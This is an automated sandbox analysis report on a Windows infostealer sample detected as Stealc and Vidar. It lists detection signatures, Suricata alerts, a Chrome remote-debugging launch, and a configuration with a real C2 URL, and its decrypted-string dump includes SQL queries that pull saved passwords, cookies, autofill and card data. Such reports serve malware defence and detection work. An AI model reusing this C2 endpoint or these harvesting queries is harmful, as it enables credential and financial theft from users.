Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546004
MD5:	98db78696728c2ac1f9e2f5389d747cf
SHA1:	053279baca9068ef85b6ef1b982b9fe235d58147
SHA256:	e67ca06cdb780ed23879f7c7538679bbe47a53f05d3a326a50fe0f770fa9df3a
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6692 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 98DB78696728C2AC1F9E2F5389D747CF)

chrome.exe (PID: 3736 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2196,i,3722478039892456965,13615675496999425299,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2037523332.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2039349561.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1669377238.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6692	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6692	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6692	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6692	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6692, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 3736, ProcessName: chrome.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:27:15.951600+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49755	TCP
2024-10-31T11:27:54.918189+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49763	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:27:02.355939+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:27:02.349204+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:27:02.629829+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:27:03.727111+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:27:02.637595+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:27:01.968723+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:27:04.288788+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T11:27:21.560227+0100	2803304	3	Unknown Traffic	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:23.037079+0100	2803304	3	Unknown Traffic	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:23.953441+0100	2803304	3	Unknown Traffic	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:24.738382+0100	2803304	3	Unknown Traffic	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:26.418340+0100	2803304	3	Unknown Traffic	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:27.318530+0100	2803304	3	Unknown Traffic	192.168.2.4	49757	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.d0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.d0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.d0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: history
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: History
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: DisplayName
